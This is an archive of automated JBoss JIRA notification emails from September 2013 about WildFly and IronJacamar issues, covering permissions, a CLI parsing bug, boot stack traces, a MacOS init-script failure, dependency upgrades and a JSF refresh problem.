From jira-events at lists.jboss.org  Wed Sep  4 11:22:03 2013
From: jira-events at lists.jboss.org (Heiko Braun (JIRA))
Date: Wed, 4 Sep 2013 11:22:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1998) Operator permissions on
	server groups
In-Reply-To: <JIRA.12499962.1378307791000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499962.1378307791000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499962.1378307791000.9183.1378308123438@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1998?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Heiko Braun reassigned WFLY-1998:
---------------------------------

    Assignee: Heiko Braun  (was: Brian Stansberry)

    
> Operator permissions on server groups
> -------------------------------------
>
>                 Key: WFLY-1998
>                 URL: https://issues.jboss.org/browse/WFLY-1998
>             Project: WildFly
>          Issue Type: Clarification
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Heiko Braun
>             Fix For: 8.0.0.CR1
>
>
> The operator should be able to start and stop servers. What about this operation:
> {noformat}
> /server-group=<name>:start-servers()
> {noformat}
> Currently the operator lacks permissions to execute this operaration

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep  4 11:24:03 2013
From: jira-events at lists.jboss.org (Heiko Braun (JIRA))
Date: Wed, 4 Sep 2013 11:24:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1998) Operator permissions on
	server groups
In-Reply-To: <JIRA.12499962.1378307791000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499962.1378307791000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499962.1378307791000.9186.1378308243374@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1998?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Heiko Braun resolved WFLY-1998.
-------------------------------

    Fix Version/s:     (was: 8.0.0.CR1)
       Resolution: Rejected


acrtually i am wrong. the operator has the permission to execute the start-servers() operation
                
> Operator permissions on server groups
> -------------------------------------
>
>                 Key: WFLY-1998
>                 URL: https://issues.jboss.org/browse/WFLY-1998
>             Project: WildFly
>          Issue Type: Clarification
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Heiko Braun
>
> The operator should be able to start and stop servers. What about this operation:
> {noformat}
> /server-group=<name>:start-servers()
> {noformat}
> Currently the operator lacks permissions to execute this operaration

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep  4 11:34:03 2013
From: jira-events at lists.jboss.org (Josef Cacek (JIRA))
Date: Wed, 4 Sep 2013 11:34:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1999) Wrong parsing of
 modify-trust-store element in jboss-cli.xml
In-Reply-To: <JIRA.12499963.1378308834091@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499963.1378308834091@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499963.1378308834091.9204.1378308843479@jira02.app.mwc.hst.phx2.redhat.com>

Josef Cacek created WFLY-1999:
---------------------------------

             Summary: Wrong parsing of modify-trust-store element in jboss-cli.xml
                 Key: WFLY-1999
                 URL: https://issues.jboss.org/browse/WFLY-1999
             Project: WildFly
          Issue Type: Bug
          Components: CLI
    Affects Versions: 8.0.0.Alpha4
            Reporter: Josef Cacek
            Assignee: Alexey Loubyansky


The Boolean parsing should be used when configuring {{modifyTrustStore}} flag and not reading system property:
{code}
config.setModifyTrustStore(Boolean.getBoolean(reader.getElementText()));
{code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep  4 11:36:03 2013
From: jira-events at lists.jboss.org (Josef Cacek (JIRA))
Date: Wed, 4 Sep 2013 11:36:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1999) Wrong parsing of
 modify-trust-store element in jboss-cli.xml
In-Reply-To: <JIRA.12499963.1378308834000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499963.1378308834000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499963.1378308834000.9207.1378308963393@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1999?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Josef Cacek updated WFLY-1999:
------------------------------

    Assignee: Josef Cacek  (was: Alexey Loubyansky)

    
> Wrong parsing of modify-trust-store element in jboss-cli.xml
> ------------------------------------------------------------
>
>                 Key: WFLY-1999
>                 URL: https://issues.jboss.org/browse/WFLY-1999
>             Project: WildFly
>          Issue Type: Bug
>          Components: CLI
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Josef Cacek
>            Assignee: Josef Cacek
>
> The Boolean parsing should be used when configuring {{modifyTrustStore}} flag and not reading system property:
> {code}
> config.setModifyTrustStore(Boolean.getBoolean(reader.getElementText()));
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep  4 11:41:03 2013
From: jira-events at lists.jboss.org (Heiko Braun (JIRA))
Date: Wed, 4 Sep 2013 11:41:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2000) No enum
 AccessAuthorizationResourceDefinition.Provider.UNDEFINED
In-Reply-To: <JIRA.12499964.1378309224822@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499964.1378309224822@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499964.1378309224822.9211.1378309263480@jira02.app.mwc.hst.phx2.redhat.com>

Heiko Braun created WFLY-2000:
---------------------------------

             Summary: No enum AccessAuthorizationResourceDefinition.Provider.UNDEFINED
                 Key: WFLY-2000
                 URL: https://issues.jboss.org/browse/WFLY-2000
             Project: WildFly
          Issue Type: Clarification
          Components: Domain Management
            Reporter: Heiko Braun
            Assignee: Brian Stansberry
             Fix For: 8.0.0.CR1



Anattemp to start a server within a domain (hosts>1) yields:

{noformat}
[Server:stage2] ERROR [org.jboss.as.controller.management-operation] JBAS014603:  caught exception attempting to revert operation write-attribute at address [
[Server:stage2]     ("core-service" => "management"),
[Server:stage2]     ("access" => "authorization")
[Server:stage2] ]: java.lang.IllegalArgumentException: No enum constant org.jboss.as.domain.management.access.AccessAuthorizationResourceDefinition.Provider.UNDEFINED
[Server:stage2] 	at java.lang.Enum.valueOf(Enum.java:236) [rt.jar:1.7.0_17]
[Server:stage2] 	at org.jboss.as.domain.management.access.AccessAuthorizationResourceDefinition$Provider.valueOf(AccessAuthorizationResourceDefinition.java:68)
[Server:stage2] 	at org.jboss.as.domain.management.access.AccessAuthorizationProviderWriteAttributeHander.updateAuthorizer(AccessAuthorizationProviderWriteAttributeHander.java:98)
[Server:stage2] 	at org.jboss.as.domain.management.access.AccessAuthorizationProviderWriteAttributeHander.revertUpdateToRuntime(AccessAuthorizationProviderWriteAttributeHander.java:93)
[Server:stage2] 	at org.jboss.as.domain.management.access.AccessAuthorizationProviderWriteAttributeHander.revertUpdateToRuntime(AccessAuthorizationProviderWriteAttributeHander.java:48)
[Server:stage2] 	at org.jboss.as.controller.AbstractWriteAttributeHandler$1$1.handleRollback(AbstractWriteAttributeHandler.java:111) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
[Server:stage2] 	at org.jboss.as.controller.AbstractOperationContext$RollbackDelegatingResultHandler.handleResult(AbstractOperationContext.java:1019) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
[Server:stage2] 	at org.jboss.as.controller.AbstractOperationContext$Step.handleRollback(AbstractOperationContext.java:988) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
[Server:stage2] 	at org.jboss.as.controller.AbstractOperationContext$Step.finalizeInternal(AbstractOperationContext.java:946) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
[Server:stage2] 	at org.jboss.as.controller.AbstractOperationContext$Step.finalizeStep(AbstractOperationContext.java:921) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
[Server:stage2] 	at org.jboss.as.controller.AbstractOperationContext$Step.access$300(AbstractOperationContext.java:873) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
[Server:stage2] 	at org.jboss.as.controller.AbstractOperationContext.finishStep(AbstractOperationContext.java:721) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
[Server:stage2] 	at org.jboss.as.controller.AbstractOperationContext.executeStep(AbstractOperationContext.java:677) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
[Server:stage2] 	at org.jboss.as.controller.AbstractOperationContext.doCompleteStep(AbstractOperationContext.java:488) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
[Server:stage2] 	at org.jboss.as.controller.AbstractOperationContext.completeStepInternal(AbstractOperationContext.java:277) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
[Server:stage2] 	at org.jboss.as.controller.AbstractOperationContext.executeOperation(AbstractOperationContext.java:272) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
[Server:stage2] 	at org.jboss.as.controller.ModelControllerImpl.boot(ModelControllerImpl.java:320) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
[Server:stage2] 	at org.jboss.as.controller.AbstractControllerService.boot(AbstractControllerService.java:288) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
[Server:stage2] 	at org.jboss.as.server.ServerService.boot(ServerService.java:356)
[Server:stage2] 	at org.jboss.as.server.ServerService.boot(ServerService.java:331)
[Server:stage2] 	at org.jboss.as.controller.AbstractControllerService$1.run(AbstractControllerService.java:250) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
[Server:stage2] 	at java.lang.Thread.run(Thread.java:722) [rt.jar:1.7.0_17]
[Server:stage2] 
[Server:stage2] FATAL [org.jboss.as.server] JBAS015957: Server boot has failed in an unrecoverable manner; exiting. See previous messages for details.
[Server:stage2] ERROR [stderr] java.io.IOException: JBAS012175: Channel closed
[Server:stage2] ERROR [stderr] 	at org.jboss.as.protocol.ProtocolConnectionManager.connect(ProtocolConnectionManager.java:67)
[Server:stage2] ERROR [stderr] 	at org.jboss.as.server.mgmt.domain.HostControllerConnection.reConnect(HostControllerConnection.java:165)
[Server:stage2] ERROR [stderr] 	at org.jboss.as.server.mgmt.domain.HostControllerClient.reconnect(HostControllerClient.java:97)
[Server:stage2] ERROR [stderr] 	at org.jboss.as.server.DomainServerMain.main(DomainServerMain.java:138)
[Server:stage2] ERROR [stderr] 	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
[Server:stage2] ERROR [stderr] 	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
[Server:stage2] ERROR [stderr] 	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
[Server:stage2] ERROR [stderr] 	at java.lang.reflect.Method.invoke(Method.java:601)
[Server:stage2] ERROR [stderr] 	at org.jboss.modules.Module.run(Module.java:292)
[Server:stage2] ERROR [stderr] 	at org.jboss.modules.Main.main(Main.java:455)
[Server:stage2] INFO  [org.jboss.as] JBAS015950: WildFly 8.0.0.Beta1-SNAPSHOT "WildFly" stopped in 10ms
[Host Controller] INFO  [org.jboss.as.host.controller] JBAS010926: Unregistering server stage2

{noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep  4 11:45:04 2013
From: jira-events at lists.jboss.org (Scott Marlow (JIRA))
Date: Wed, 4 Sep 2013 11:45:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2001) JPA getNewTempClassLoader
 should support getPackage(String name)
In-Reply-To: <JIRA.12499967.1378309389316@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499967.1378309389316@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499967.1378309389316.9222.1378309504128@jira02.app.mwc.hst.phx2.redhat.com>

Scott Marlow created WFLY-2001:
----------------------------------

             Summary: JPA getNewTempClassLoader should support getPackage(String name)
                 Key: WFLY-2001
                 URL: https://issues.jboss.org/browse/WFLY-2001
             Project: WildFly
          Issue Type: Bug
          Components: JPA / Hibernate
            Reporter: Scott Marlow
            Assignee: Scott Marlow
             Fix For: 8.0.0.Beta1




--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep  4 11:51:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 4 Sep 2013 11:51:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1999) Wrong parsing of
 modify-trust-store element in jboss-cli.xml
In-Reply-To: <JIRA.12499963.1378308834000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499963.1378308834000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499963.1378308834000.9229.1378309863459@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1999?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

RH Bugzilla Integration updated WFLY-1999:
------------------------------------------

        Bugzilla Update: Perform
    Bugzilla References: https://bugzilla.redhat.com/show_bug.cgi?id=1004433

    
> Wrong parsing of modify-trust-store element in jboss-cli.xml
> ------------------------------------------------------------
>
>                 Key: WFLY-1999
>                 URL: https://issues.jboss.org/browse/WFLY-1999
>             Project: WildFly
>          Issue Type: Bug
>          Components: CLI
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Josef Cacek
>            Assignee: Josef Cacek
>
> The Boolean parsing should be used when configuring {{modifyTrustStore}} flag and not reading system property:
> {code}
> config.setModifyTrustStore(Boolean.getBoolean(reader.getElementText()));
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep  4 13:25:03 2013
From: jira-events at lists.jboss.org (Romain PELISSE (JIRA))
Date: Wed, 4 Sep 2013 13:25:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1928) jboss-as-standalone.sh does
 not work on MacOS
In-Reply-To: <JIRA.12499212.1377185444000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499212.1377185444000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499212.1377185444000.9440.1378315503947@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1928?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801650#comment-12801650 ] 

Romain PELISSE commented on WFLY-1928:
--------------------------------------

Hi Thomas,

it may be possible to achieve such a script with only bash feature by implementing some ninja process finding using 'ps' or something like that. However, this is not the purpose of this init.d script. It is there to offer a nice integration with init.d. Now, I'm not against your idea, I just like the proper authority to implement such a drastic change. I will assign this ticket to Jaikiran who took care of accepting my changes on the script - maybe he will have the necessary power.
                
> jboss-as-standalone.sh does not work on MacOS
> ---------------------------------------------
>
>                 Key: WFLY-1928
>                 URL: https://issues.jboss.org/browse/WFLY-1928
>             Project: WildFly
>          Issue Type: Bug
>          Components: Scripts
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Thomas Diesler
>             Fix For: 8.0.0.Beta1
>
>
> {code}
> FuseFabric:karaf at root> process-start root 3
> bin/init.d/jboss-as-standalone.sh: line 12: /etc/init.d/functions: No such file or directory
> Error executing command: [bin/init.d/jboss-as-standalone.sh, start] exited with 1
> bin/init.d/jboss-as-standalone.sh: line 12: /etc/init.d/functions: No such file or directory
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep  4 13:25:04 2013
From: jira-events at lists.jboss.org (Romain PELISSE (JIRA))
Date: Wed, 4 Sep 2013 13:25:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1928) jboss-as-standalone.sh does
 not work on MacOS
In-Reply-To: <JIRA.12499212.1377185444000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499212.1377185444000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499212.1377185444000.9444.1378315504222@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1928?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Romain PELISSE reassigned WFLY-1928:
------------------------------------

    Assignee: jaikiran pai


Hi Jaikiran ! As the following ticket got assign to me after you accepted my pull request, I would like you to review it and let us where you stand on this topic.

Thanks ! :)
                
> jboss-as-standalone.sh does not work on MacOS
> ---------------------------------------------
>
>                 Key: WFLY-1928
>                 URL: https://issues.jboss.org/browse/WFLY-1928
>             Project: WildFly
>          Issue Type: Bug
>          Components: Scripts
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Thomas Diesler
>            Assignee: jaikiran pai
>             Fix For: 8.0.0.Beta1
>
>
> {code}
> FuseFabric:karaf at root> process-start root 3
> bin/init.d/jboss-as-standalone.sh: line 12: /etc/init.d/functions: No such file or directory
> Error executing command: [bin/init.d/jboss-as-standalone.sh, start] exited with 1
> bin/init.d/jboss-as-standalone.sh: line 12: /etc/init.d/functions: No such file or directory
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep  4 13:31:04 2013
From: jira-events at lists.jboss.org (Jesper Pedersen (JIRA))
Date: Wed, 4 Sep 2013 13:31:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBJCA-1077) Track component updates
In-Reply-To: <JIRA.12499976.1378315801502@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499976.1378315801502@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499976.1378315801502.9461.1378315864154@jira02.app.mwc.hst.phx2.redhat.com>

Jesper Pedersen created JBJCA-1077:
--------------------------------------

             Summary: Track component updates
                 Key: JBJCA-1077
                 URL: https://issues.jboss.org/browse/JBJCA-1077
             Project: IronJacamar
          Issue Type: Task
          Components: Build
            Reporter: Jesper Pedersen
            Assignee: Jesper Pedersen
             Fix For: 1.0.21.Final




--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep  4 13:31:04 2013
From: jira-events at lists.jboss.org (Jesper Pedersen (JIRA))
Date: Wed, 4 Sep 2013 13:31:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBJCA-1076) CLONE - JBoss Logging
 Processor 1.1.0.Final to 1.0 branch
In-Reply-To: <JIRA.12499878.1378257462000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499878.1378257462000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499878.1378257462000.9469.1378315864541@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JBJCA-1076?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Jesper Pedersen updated JBJCA-1076:
-----------------------------------

    Parent Issue: JBJCA-1077  (was: JBJCA-934)

    
> CLONE - JBoss Logging Processor 1.1.0.Final to 1.0 branch
> ---------------------------------------------------------
>
>                 Key: JBJCA-1076
>                 URL: https://issues.jboss.org/browse/JBJCA-1076
>             Project: IronJacamar
>          Issue Type: Component Upgrade
>          Components: Build
>            Reporter: Lin Gao
>            Assignee: Lin Gao
>
> Backported to branch 1.0
> The upgrade of jboss-logging-processor:1.1.0.Final needs one more dependency: org.jboss.jdeparser:jdeparser:1.0.0.Final added to ivy.xml

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep  4 13:31:04 2013
From: jira-events at lists.jboss.org (Jesper Pedersen (JIRA))
Date: Wed, 4 Sep 2013 13:31:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBJCA-1076) JBoss Logging Processor
	1.1.0.Final
In-Reply-To: <JIRA.12499878.1378257462000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499878.1378257462000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499878.1378257462000.9476.1378315864889@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JBJCA-1076?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Jesper Pedersen updated JBJCA-1076:
-----------------------------------

          Summary: JBoss Logging Processor 1.1.0.Final  (was: CLONE - JBoss Logging Processor 1.1.0.Final to 1.0 branch)
    Fix Version/s: 1.0.21.Final

    
> JBoss Logging Processor 1.1.0.Final
> -----------------------------------
>
>                 Key: JBJCA-1076
>                 URL: https://issues.jboss.org/browse/JBJCA-1076
>             Project: IronJacamar
>          Issue Type: Component Upgrade
>          Components: Build
>            Reporter: Lin Gao
>            Assignee: Lin Gao
>             Fix For: 1.0.21.Final
>
>
> Backported to branch 1.0
> The upgrade of jboss-logging-processor:1.1.0.Final needs one more dependency: org.jboss.jdeparser:jdeparser:1.0.0.Final added to ivy.xml

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep  4 13:35:03 2013
From: jira-events at lists.jboss.org (Jesper Pedersen (JIRA))
Date: Wed, 4 Sep 2013 13:35:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBJCA-1078) JDeparser 1.0.0.Final
In-Reply-To: <JIRA.12499978.1378316006036@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499978.1378316006036@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499978.1378316006036.9492.1378316103500@jira02.app.mwc.hst.phx2.redhat.com>

Jesper Pedersen created JBJCA-1078:
--------------------------------------

             Summary: JDeparser 1.0.0.Final
                 Key: JBJCA-1078
                 URL: https://issues.jboss.org/browse/JBJCA-1078
             Project: IronJacamar
          Issue Type: Component Upgrade
          Components: Build
            Reporter: Jesper Pedersen
            Assignee: Lin Gao
             Fix For: 1.0.21.Final




--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep  4 13:35:03 2013
From: jira-events at lists.jboss.org (Jesper Pedersen (JIRA))
Date: Wed, 4 Sep 2013 13:35:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBJCA-1079) JBoss Logging 3.1.2.GA
In-Reply-To: <JIRA.12499979.1378316050284@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499979.1378316050284@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499979.1378316050284.9496.1378316103670@jira02.app.mwc.hst.phx2.redhat.com>

Jesper Pedersen created JBJCA-1079:
--------------------------------------

             Summary: JBoss Logging 3.1.2.GA
                 Key: JBJCA-1079
                 URL: https://issues.jboss.org/browse/JBJCA-1079
             Project: IronJacamar
          Issue Type: Component Upgrade
          Components: Build
            Reporter: Jesper Pedersen
            Assignee: Lin Gao
             Fix For: 1.0.21.Final




--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep  4 13:35:03 2013
From: jira-events at lists.jboss.org (Jesper Pedersen (JIRA))
Date: Wed, 4 Sep 2013 13:35:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBJCA-1080) JBoss LogManager 1.4.0.GA
In-Reply-To: <JIRA.12499980.1378316088842@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499980.1378316088842@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499980.1378316088842.9498.1378316103761@jira02.app.mwc.hst.phx2.redhat.com>

Jesper Pedersen created JBJCA-1080:
--------------------------------------

             Summary: JBoss LogManager 1.4.0.GA
                 Key: JBJCA-1080
                 URL: https://issues.jboss.org/browse/JBJCA-1080
             Project: IronJacamar
          Issue Type: Component Upgrade
          Components: Build
            Reporter: Jesper Pedersen
            Assignee: Lin Gao
             Fix For: 1.0.21.Final




--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep  4 13:37:04 2013
From: jira-events at lists.jboss.org (Jesper Pedersen (JIRA))
Date: Wed, 4 Sep 2013 13:37:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBJCA-1081) JBoss Logmanager Log4J
	1.0.1.Final
In-Reply-To: <JIRA.12499981.1378316141129@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499981.1378316141129@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499981.1378316141129.9505.1378316224062@jira02.app.mwc.hst.phx2.redhat.com>

Jesper Pedersen created JBJCA-1081:
--------------------------------------

             Summary: JBoss Logmanager Log4J 1.0.1.Final
                 Key: JBJCA-1081
                 URL: https://issues.jboss.org/browse/JBJCA-1081
             Project: IronJacamar
          Issue Type: Component Upgrade
          Components: Build
            Reporter: Jesper Pedersen
            Assignee: Lin Gao
             Fix For: 1.0.21.Final




--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep  4 14:14:03 2013
From: jira-events at lists.jboss.org (Brian Leathem (JIRA))
Date: Wed, 4 Sep 2013 14:14:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1981) JSF component disappears on
 refresh using a4j:poll
In-Reply-To: <JIRA.12499779.1378159247000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499779.1378159247000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499779.1378159247000.9606.1378318443578@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1981?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801465#comment-12801465 ] 

Brian Leathem edited comment on WFLY-1981 at 9/4/13 2:13 PM:
-------------------------------------------------------------

Replaced
{code}
 <a4j:poll id="Poll" interval="#{index.refreshValue*1000}" render="Table1,Table2" action="#{index.read()}"/>
{code}
with
{code}
 <a4j:commandButton value="Refresh" render="Table1,Table2" action="#{index.read()}"/>.
{code}

Same effect. After first click / refresh the second datatable disappears.
I also tried with RF 5.0.0.Aplha1. Same result.
Since mojarra datatable works with RF but not the Openfaces datatable, could this be a problem with OF or the combination of OF and RF?
But the combination worked in the past and it works when using Mojarra-2.1.19.
Really strange.
                
      was (Author: lafr):
    Replaced
 <a4j:poll id="Poll" interval="#{index.refreshValue*1000}" render="Table1,Table2" action="#{index.read()}"/>
with
 <a4j:commandButton value="Refresh" render="Table1,Table2" action="#{index.read()}"/>.
Same effect. After first click / refresh the second datatable disappears.
I also tried with RF 5.0.0.Aplha1. Same result.
Since mojarra datatable works with RF but not the Openfaces datatable, could this be a problem with OF or the combination of OF and RF?
But the combination worked in the past and it works when using Mojarra-2.1.19.
Really strange.
                  
> JSF component disappears on refresh using a4j:poll
> --------------------------------------------------
>
>                 Key: WFLY-1981
>                 URL: https://issues.jboss.org/browse/WFLY-1981
>             Project: WildFly
>          Issue Type: Bug
>          Components: JSF, Web (Undertow)
>    Affects Versions: 8.0.0.Beta1
>            Reporter: Frank Langelage
>            Assignee: Brian Leathem
>         Attachments: install-mojarra-2.1.19.cli, Jira-WFLY-UT.tar, xaa, xab, xac
>
>
> On some of my pages I'm using richfaces a4j:poll to refresh components regularly. The components refreshed is an openfaces datatable.
> This does not work with WildFly build from current sources.
> Same code works with JBoss AS 7.20. So problem is not related to richfaces or openfaces for me. Probably related to replacement of jboss-web with undertow.
> I'll attach a small project showing the problem.
> The mojarra datatable works fine, is refreshed every 10 seconds.
> The openfaces datatable below disappears on first refresh.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

